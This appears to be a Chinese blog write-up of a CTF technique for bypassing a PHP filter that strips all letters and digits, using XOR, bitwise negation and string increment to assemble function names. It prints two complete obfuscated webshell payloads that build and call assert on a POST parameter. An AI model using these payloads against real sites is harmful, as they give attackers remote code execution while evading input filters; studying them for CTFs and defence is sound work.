最近刷题看到了P神的这篇博客,不得不说里面的思路真的是让人大吃一惊,所以复现记录一下
源代码如图
可以看到过滤了所有的字母和数字,那么怎么绕过呢
基本思路,将非字母,数字字符经过各种变换,最后能构造出a-z中的任意一个字符,然后再利用PHP允许动态函数执行的特点,拼接出一个函数名,然后动态执行即可
方法一
这也是最容易想到,最简单的方法,使用两个字符异或之后就能得到任意字符
方法二
取反,方法二利用的是UTF-8编码中的某个汉字,并将其中字符取出来比如'和'{2}的结果为'\x8c'取反即为字母s
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);
这个答案还利用了PHP的弱类型特性。因为要获取'和'{2}
,就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true==2
,也就是('>'>'<')+('>'>'<')==2
方法三
这个方法也是让我耳目一新,还能这样
使用递增,'a'++ => 'b'
,'b'++ => 'c'
...所以我们只要能拿到一个变量,值为a
就可以通过自增操做获得a-z的所有字符
那么如何拿到一个值为字符串a
的变量呢
这里有一个小技巧,再php中如果强制连接数组和字符串那么数组会被转换成字符串值为Array
所以我们可以取其中的第4个字符a来继续操作
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);